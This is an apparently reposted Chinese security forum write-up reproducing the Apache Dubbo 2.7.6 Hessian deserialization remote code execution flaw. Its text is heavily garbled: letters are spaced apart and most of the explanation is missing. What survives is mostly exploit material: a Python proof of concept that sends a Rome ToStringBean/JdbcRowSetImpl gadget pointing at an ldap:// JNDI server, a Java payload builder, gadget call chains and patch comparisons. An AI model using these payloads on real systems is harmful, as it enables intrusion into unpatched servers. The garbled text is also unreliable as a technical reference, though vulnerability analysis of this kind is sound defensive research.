[28401] 2020-07-09_ApacheDubbo2.7.6反序列化入侵复现及分析

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2020-07-09_ApacheDubbo2.7.6反序列化入侵复现及分析 A p a c h e   D u b b o   2 . 7 . 6 t o r n a d o   O t s   2 0 2 0 - 0 7 - 0 9 :   t o r n a d o 1 .   D u b b o R P C R P C R P C 2 .   R P C d u b b o r m i h e s s i a n w e b s e r v i c e h t t p r e d i s r e s t t h r i f t m e m c a c h e d j s o n r p c 3 .   J a v a J a v a H e s s i a n J s o n d u b b o h t t p s   :   / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 0 9 2 5 1 1 .   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / a p a c h e / d u b b o - s p r i n g - b o o t - p r o j e c t . g i t g i t   c h e c k o u t   2 . 7 . 6 2 .   r o m e d u b b o - s p r i n g - b o o t - s a m p l e s p r o v i d e r - s a m p l e p o m 3 .   < d e p e n d e n c y >           < g r o u p I d > c o m . r o m e t o o l s < / g r o u p I d >           < a r t i f a c t I d > r o m e < / a r t i f a c t I d >           < v e r s i o n > 1 . 7 . 0 < / v e r s i o n >   < / d e p e n d e n c y >
p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   R u i l i n #   p i p 3   i n s t a l l   d u b b o - p y f r o m   d u b b o . c o d e c . h e s s i a n 2   i m p o r t   D e c o d e r , n e w _ o b j e c t f r o m   d u b b o . c l i e n t   i m p o r t   D u b b o C l i e n t c l i e n t   =   D u b b o C l i e n t ( ' 1 9 2 . 1 6 8 . 2 . 1 ' ,   1 2 3 4 5 ) J d b c R o w S e t I m p l = n e w _ o b j e c t (         ' c o m . s u n . r o w s e t . J d b c R o w S e t I m p l ' ,         d a t a S o u r c e = " l d a p : / / 1 9 2 . 1 6 8 . 2 . 2 : 1 3 8 9 / n n y v b t " ,         s t r M a t c h C o l u m n s = [ " f o o " ]         ) J d b c R o w S e t I m p l C l a s s = n e w _ o b j e c t (         ' j a v a . l a n g . C l a s s ' ,         n a m e = " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " ,         ) t o S t r i n g B e a n = n e w _ o b j e c t (         ' c o m . r o m e t o o l s . r o m e . f e e d . i m p l . T o S t r i n g B e a n ' ,         b e a n C l a s s = J d b c R o w S e t I m p l C l a s s ,         o b j = J d b c R o w S e t I m p l         ) r e s p   =   c l i e n t . s e n d _ r e q u e s t _ a n d _ r e t u r n _ r e s p o n s e (         s e r v i c e _ n a m e = ' a n y _ n a m e ' ,         m e t h o d _ n a m e = ' a n y _ m e t h o d ' ,         a r g s = [ t o S t r i n g B e a n ] ) p r i n t ( r e s p ) j a v a S t r i n g   r c e T e s t ( O b j e c t   o ) ; @ O v e r r i d e p u b l i c   S t r i n g   r c e T e s t ( O b j e c t   o )   {   r e t u r n   " p w n e d " ; } o r g . a p a c h e . d u b b o . s p r i n g . b o o t . d e m o . p r o v i d e r . b o o t s t r a p . D u b b o A u t o C o n f i g u r a t i o n P r o v i d e r B o o t s t r a p 1 .   D e m o S e r v i c e 2 .   D e f a u l t D e m o S e r v i c e 3 .   D u b b o A u t o C o n f i g u r a t i o n C o n s u m e r B o o t s t r a p
4 .   p r o v i d e r c o n s u m e r d u b b o s o c k e t p y t h o n p y t h o n p o c p u b l i c   A p p l i c a t i o n R u n n e r   r u n n e r ( )   t h r o w s   E x c e p t i o n   {   O b j e c t   o   =   g e t P a y l o a d ( ) ;   r e t u r n   a r g s   - >   l o g g e r . i n f o ( d e m o S e r v i c e . r c e T e s t ( o ) ) ; } p r i v a t e   s t a t i c   O b j e c t   g e t P a y l o a d ( )   t h r o w s   E x c e p t i o n   {   S t r i n g   j n d i U r l   =   " l d a p : / / 1 9 2 . 1 6 8 . 2 . 2 : 1 3 8 9 / s g 5 6 v h " ;   T o S t r i n g B e a n   b e a n   =   n e w   T o S t r i n g B e a n ( J d b c R o w S e t I m p l . c l a s s ,   J D K U t i l . m a k e J N D I R o w S e t ( j n d i U r l ) ) ;   E q u a l s B e a n   r o o t   =   n e w   E q u a l s B e a n ( T o S t r i n g B e a n . c l a s s ,   b e a n ) ;   r e t u r n   J D K U t i l . m a k e M a p ( r o o t ,   r o o t ) ; } 0 x d a b b o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o C o d e c . d e c o d e B o d y ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D e c o d e a b l e R p c I n v o c a t i o n . d e c o d e ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . C a l l b a c k S e r v i c e C o d e c . d e c o d e I n v o c a t i o n A r g u m e n t ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o P r o t o c o l . g e t I n v o k e r ( ) j a v a . l a n g . S t r i n g B u i l d e r . a p p e n d ( ) j a v a . l a n g . S t r i n g . v a l u e O f ( ) o r g . a p a c h e . d u b b o . r p c . R p c I n v o c a t i o n . t o S t r i n g ( ) c o m . r o m e t o o l s . r o m e . f e e d . i m p l . T o S t r i n g B e a n . t o S t r i n g ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . g e t D a t a b a s e M e t a D a t a ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . c o n n e c t ( ) j a v a x . n a m i n g . I n i t i a l C o n t e x t . l o o k u p ( ) s e r v i c e _ n a m e
使 D u b b o E x p o r t e r t o S t r i n g t o S t r i n g r u i 0 / / d u b b o   2 . 7 . 3 i f   ( e x p o r t e r   = =   n u l l )   {         t h r o w   n e w   R e m o t i y i c n g E x c e p t i o n ( c h a n n e l ,   " N o t   f o u n d   e x p o r t e d   s e r v i c e :   "   +   s e r v i c e K e y   +   "   i n   "   +   t h i s . e x p o r t e r M a p . k e y S e t ( )   +   " ,   m a y   b e   v e r s i o n   o r   g r o u p   m i s m a t c h   ,   c h a n n e l :   c o n s u m e r :   "   +   c h a n n e l . g e t R e m o t e A d d r e s s ( )   +   "   - - >   p r o v i d e r :   "   +   c h a n n e l . g e t L o c a l A d d r e s s ( )   +   " ,   m e s s a g e : "   +   i n v ) ; }   e l s e   {         r e t u r n   e x p o r t e r . g e t I n v o k e r ( ) ; } d u b b o   2 . 7 . 3 i n v i n v S t r i n g . a p p e n d - > S t r i n g . v a l u e O f - > o b j . t o S t r i n g ( ) t o s t r i n g 2 . 7 . 5 t h r o w   R e m o t i y i c n g E x c e p t i o n o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o P r o t o c o l . g e t I n v o k e r ( ) D e c o d e a b l e R p c I n v o c a t i o n a r g u m e n t s T o S t r i n g B e a n T o S t r i n g B e a n
/ / d u b b o   2 . 7 . 5 i f   ( e x p o r t e r   = =   n u l l )   {         t h r o w   n e w   R e m o t i n g E x c e p t i o n ( c h a n n e l ,   " N o t   f o u n d   e x p o r t e d   s e r v i c e :   "   +   s e r v i c e K e y   +   "   i n   "   +   t h i s . e x p o r t e r M a p . k e y S e t ( )   +   " ,   m a y   b e   v e r s i o n   o r   g r o u p   m i s m a t c h   ,   c h a n n e l :   c o n s u m e r :   "   +   c h a n n e l . g e t R e m o t e A d d r e s s ( )   +   "   - - >   p r o v i d e r :   "   +   c h a n n e l . g e t L o c a l A d d r e s s ( )   +   " ,   m e s s a g e : "   +   t h i s . g e t I n v o c a t i o n W i t h o u t D a t a ( i n v ) ) ; }   e l s e   {         r e t u r n   e x p o r t e r . g e t I n v o k e r ( ) ; } i n v / / o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D u b b o P r o t o c o l p r i v a t e   I n v o c a t i o n   g e t I n v o c a t i o n W i t h o u t D a t a ( I n v o c a t i o n   i n v o c a t i o n )   {         i f   ( t h i s . l o g g e r . i s D e b u g E n a b l e d ( ) )   {                 r e t u r n   i n v o c a t i o n ;         }   e l s e   i f   ( i n v o c a t i o n   i n s t a n c e o f   R p c I n v o c a t i o n )   {                 R p c I n v o c a t i o n   r p c I n v o c a t i o n   =   ( R p c I n v o c a t i o n ) i n v o c a t i o n ;                 r p c I n v o c a t i o n . s e t A r g u m e n t s ( ( O b j e c t [ ] ) n u l l ) ;                 r e t u r n   r p c I n v o c a t i o n ;         }   e l s e   {                 r e t u r n   i n v o c a t i o n ;         } } i n v o c a t i o n t o S t r i n g 2 . 7 . 5 c o m m i t J a v a j a v a p o c t o S t r i n g g e t I n v o c a t i o n W i t h o u t D a t a a r g u m e n t s a r g u m e n t s o r g . a p a c h e . d u b b o . r e m o t i n g . t r a n s p o r t . D e c o d e H a n d l e r . d e c o d e ( ) o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D e c o d e a b l e R p c I n v o c a t i o n . d e c o d e ( ) o r g . a p a c h e . d u b b o . c o m m o n . s e r i a l i z e . h e s s i a n 2 . H e s s i a n 2 O b j e c t I n p u t . r e a d O b j e c t ( ) c o m . a l i b a b a . c o m . c a u c h o . h e s s i a n . i o . H e s s i a n 2 I n p u t . r e a d O b j e c t ( ) c o m . a l i b a b a . c o m . c a u c h o . h e s s i a n . i o . M a p D e s e r i a l i z e r . r e a d M a p ( ) c o m . a l i b a b a . c o m . c a u c h o . h e s s i a n . i o . M a p D e s e r i a l i z e r . d o R e a d M a p ( ) j a v a . u t i l . H a s h M a p . p u t ( ) - > h a s h ( ) - > h a s h C o d e ( ) c o m . r o m e t o o l s . r o m e . f e e d . i m p l . E q u a l s B e a n . b e a n H a s h C o d e ( ) c o m . r o m e t o o l s . r o m e . f e e d . i m p l . T o S t r i n g B e a n . t o S t r i n g ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . g e t D a t a b a s e M e t a D a t a ( ) c o m . s u n . r o w s e t . J d b c R o w S e t I m p l . c o n n e c t ( ) j a v a x . n a m i n g . I n i t i a l C o n t e x t . l o o k u p ( )
c o m m i t t o S t r i n g P R p t s d e s c S e r v i c e   n o t   f o u n d p y t h o n p o c s e r v i c e _ n a m e m e t h o d _ n a m e 便 o r g . a p a c h e . d u b b o . r p c . p r o t o c o l . d u b b o . D e c o d e a b l e R p c I n v o c a t i o n . d e c o d e ( ) R p c U t i l s . i s G e n e r i c C a l l R p c U t i l s . i s E c h o $ i n v o k e $ i n v o k e A s y n c $ e c h o R p c U t i l s . i s G e n e r i c C a l l R p c U t i l s . i s E c h o
m a p 便 s e r v i c e   n a m e m a p o b j e c t 2 . 7 . 7 C V E - 2 0 2 0 - 1 9 4 8 2 . 7 . 7 i f   ( t h i s . l o g g e r . i s D e b u g E n a b l e d ( ) )   {         r e t u r n   i n v o c a t i o n ; } p r o v i d e r d e b u g p y t h o n p o c 2 . 7 . 7 g e t I n v o c a t i o n W i t h o u t D a t a a r g u m e n t s i n v o c a t i o n m e t h o d _ n a m e $ i n v o k e
< ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < c o n f i g u r a t i o n   s c a n = " t r u e " >         < l o g g e r   n a m e = " c o m . a l i b a b a . d u b b o "   l e v e l = " D E B U G " / > < / c o n f i g u r a t i o n > 使 t o S t r i n g h e s s i a n 2 h a s h m a p t o S t r i n g d u b b o / p u l l / 6 3 7 4 s o f a - h e s s i a n P a r a m e t e r T y p e s D e s c L j a v a / l a n g / S t r i n g ; [ L j a v a / l a n g / S t r i n g ; [ L j a v a / l a n g / O b j e c t ;
h t t p s : / / w w w . m a i l - a r c h i v e . c o m / d e v @ d u b b o . a p a c h e . o r g / m s g 0 6 5 4 4 . h t m l h t t p : / / r u i 0 . c n / a r c h i v e s / 1 3 3 8 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 9 7 6 5 8 h t t p s : / / g i t h u b . c o m / a p a c h e / d u b b o / p u l l / 6 3 7 4
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则